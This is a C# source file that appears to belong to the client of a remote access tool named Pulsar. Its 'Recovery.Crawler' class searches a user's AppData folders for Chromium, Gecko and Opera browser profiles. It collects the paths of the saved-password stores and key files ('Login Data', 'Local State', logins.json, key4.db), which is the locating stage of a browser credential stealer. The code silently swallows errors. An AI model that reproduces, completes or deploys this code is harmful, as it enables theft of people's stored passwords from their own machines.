using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Threading.Tasks; using Pulsar.Client.Recovery.Browsers; namespace Pulsar.Client.Recovery.Crawler { public class Crawl { private static readonly string[] knownBrowserPaths = { @"Opera", @"Opera Software\Opera GX Stable", }; private static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); private static string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); private static List foundChromiumBrowsers = new List(); private static List foundGeckoBrowsers = new List(); public static List Start() { foundChromiumBrowsers.Clear(); foundGeckoBrowsers.Clear(); string[] rootDirs = { localAppData, appData }; Parallel.ForEach(rootDirs, rootDir => { if (Directory.Exists(rootDir)) { SearchDirectory(rootDir, foundChromiumBrowsers, foundGeckoBrowsers, rootDir == appData); } }); CheckForKnownBrowsers(); return new List { new AllBrowsers { Chromium = foundChromiumBrowsers.ToArray(), Gecko = foundGeckoBrowsers.ToArray() } }; } private static void SearchDirectory(string directory, List foundChromiumBrowsers, List foundGeckoBrowsers, bool isRoaming, int depth = 0) { if (depth > 3) return; try { CheckForBrowser(directory, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming); var subDirs = Directory.GetDirectories(directory); Parallel.ForEach(subDirs, dir => { SearchDirectory(dir, foundChromiumBrowsers, foundGeckoBrowsers, isRoaming, depth + 1); }); } catch (Exception) { return; } } private static void CheckForBrowser(string path, List foundChromiumBrowsers, List foundGeckoBrowsers, bool isRoaming) { try { string userDataPath = Path.Combine(path, "User Data"); string localStatePath = Path.Combine(userDataPath, "Local State"); if (Directory.Exists(userDataPath) && File.Exists(localStatePath)) { List profiles = new List(); string defaultProfile = Path.Combine(userDataPath, "Default"); if (Directory.Exists(defaultProfile)) { string loginDataPath = Path.Combine(defaultProfile, "Login Data"); if (File.Exists(loginDataPath)) { profiles.Add(new ProfileChromium { Name = "Default", LoginData = loginDataPath, Path = defaultProfile }); } } var profileDirs = Directory.GetDirectories(userDataPath) .Where(dir => Path.GetFileName(dir).StartsWith("Profile ")) .Select(dir => Path.GetFileName(dir)); foreach (var profile in profileDirs) { string profilePath = Path.Combine(userDataPath, profile); string loginDataPath = Path.Combine(profilePath, "Login Data"); if (File.Exists(loginDataPath)) { profiles.Add(new ProfileChromium { Name = profile, LoginData = loginDataPath, Path = profilePath }); } } if (profiles.Count > 0) { lock (foundChromiumBrowsers) { foundChromiumBrowsers.Add(new BrowserChromium { Name = Path.GetFileName(path), LocalState = localStatePath, Path = path, Profiles = profiles.ToArray() }); } } } if (isRoaming) { string profilesPath = Path.Combine(path, "Profiles"); if (Directory.Exists(profilesPath)) { List profiles = Directory.GetDirectories(profilesPath) .Select(Path.GetFileName) .Where(name => name.Contains(".default-")) .ToList(); if (profiles.Count > 0) { string browserName = Directory.GetParent(path)?.Name + "\\" + Path.GetFileName(path); lock (foundGeckoBrowsers) { foundGeckoBrowsers.Add(new BrowserGecko { Name = browserName, Path = path, Key4 = Path.Combine(path, "key4.db"), Logins = Path.Combine(path, "logins.json"), ProfilesDir = profilesPath }); } } } } } catch (Exception) { return; } } private static void CheckForKnownBrowsers() { foreach (var knownPath in knownBrowserPaths) { string fullPath = Path.Combine(appData, knownPath); if (Directory.Exists(fullPath)) { if (knownPath.Contains("Opera")) { CheckForOperaBrowser(fullPath); } else { CheckForBrowser(fullPath, foundChromiumBrowsers, foundGeckoBrowsers, false); } } } } private static void CheckForOperaBrowser(string path) { try { string loginDataPath = Path.Combine(path, "Login Data"); if (File.Exists(loginDataPath)) { var profiles = new List { new ProfileChromium { Name = "Default", LoginData = loginDataPath, Path = path } }; lock (foundChromiumBrowsers) { foundChromiumBrowsers.Add(new BrowserChromium { Name = "Opera", LocalState = Path.Combine(path, "Local State"), Path = path, Profiles = profiles.ToArray() }); } } } catch (Exception) { return; } } } }